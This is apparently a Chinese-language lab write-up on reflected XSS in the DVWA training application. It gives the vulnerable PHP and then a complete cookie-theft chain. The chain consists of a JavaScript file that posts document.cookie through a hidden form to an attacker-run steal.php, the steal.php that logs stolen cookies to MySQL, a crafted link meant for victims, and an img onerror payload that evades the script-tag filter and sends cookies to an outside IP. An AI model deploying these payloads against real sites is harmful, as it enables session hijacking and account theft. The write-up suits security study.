关于xss反射性漏洞
1.未加任何过滤的
(1).在dvwa平台上可以看到源代码,如下
low级别
为了便于理解,代码如下:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL )
{// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
判断是否存在name参数且该参数是否为空,不为空则输出Hello,和该参数的值
(2).如果输出<script>alert(0)</script>,则浏览器端接收到传来的服务端处理后的js代码就会直接解析执行
(这里做过实验,如果在浏览器端打开服务端js代码则直接看到源代码,不执行,所以说服务端处理后的js代码)
Ps:笔者在学习时设置了代理。IP会变,做的时候可以考虑该原因
(3) .当我们已知该漏洞时,考虑利用<script src=http://xxx></script>来执行外部js文件,从而在js中实现预先设置和更为强大的功能,如下,设置了获取cookie的源代码
Js代码:(一定要细心,笔者在此出错甚多,导致耗时太多,比如action后网址正确,要有http://,在浏览器端输入时会自动加上,但构造payload时会忘掉)
document.write("<form action='http://www.dvwa1.com/dvwaxss/steal.php' name='exploit' method='post' style='display:none'>");
document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");
document.write("</form>");
document.exploit.submit();
这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php。
Php代码:(同上,写php代码时一定要细心,比如:$_POST不能少了_符号,低级错误,哎)
<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);if(isset($_GET['data']))
{
$sql="insert into low(cookie) values('".$_GET['data']."');";
$result=mysql_query($sql,$conn);
mysql_close();
}else if(isset($_POST['data']))
{
$sql="insert into low(cookie) values('".$_POST['data']."');";
$result=mysql_query($sql,$conn);
mysql_close();
}else
{
$sql="select * from low";
$result=mysql_query($sql,$conn);
while($row=mysql_fetch_array($result))
{
echo "偷取的cookie:".$row[1]."</br>";
}
mysql_close();
}?>
steal.php将我们获取到的cookie存到数据库中。
create database dvwacookie;
use dvwacookie;
create table low(id int not null auto_increment primary key,cookie varchar(100) not null);
create table medium(id int not null auto_increment primary key,cookie varchar(100) not null);
create table high(id int not null auto_increment primary key,cookie varchar(100) not null);
接下来我们在有xss漏洞的位置插入。
<script src=http://www.dvwa1.com/dvwaxss/cookie.js></script>
相当于构造链接。
http://www.dvwa1.com/dvwaxss/cookie.js?name=<script src=http://192.168.50.150/dvwaxss/cookie.js></script>
将链接发给该网站下的受害者,受害者点击时就会加载远程服务器(这里是win7)的cookie.js脚本,这里要提一点,用src加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据。
这时,数据库就接收到了cookie。
High级别
High利用正则过滤了script标签,需要绕过,那就不使用<script>标签,使用
<img src=#onerror=(location.href="http://192.168.50.150/dvwaxss/steal.php?data="+document.cookie)>
这样同样可以出发js事件,服务端在解析时并不会解析I的uicode编码,而是到了html页面端会有解析,从而执行。
注意以上payload和这个区别:(引号结尾在document之前)
<img src=# onerror=(location.href="http://www.dvwa1.com/dvwaxss/steal.php?data=+document.cookie")>
注意onerror后面会被当作js事件执行
本文代码和理解参考:http://www.freebuf.com/articles/web/157953.html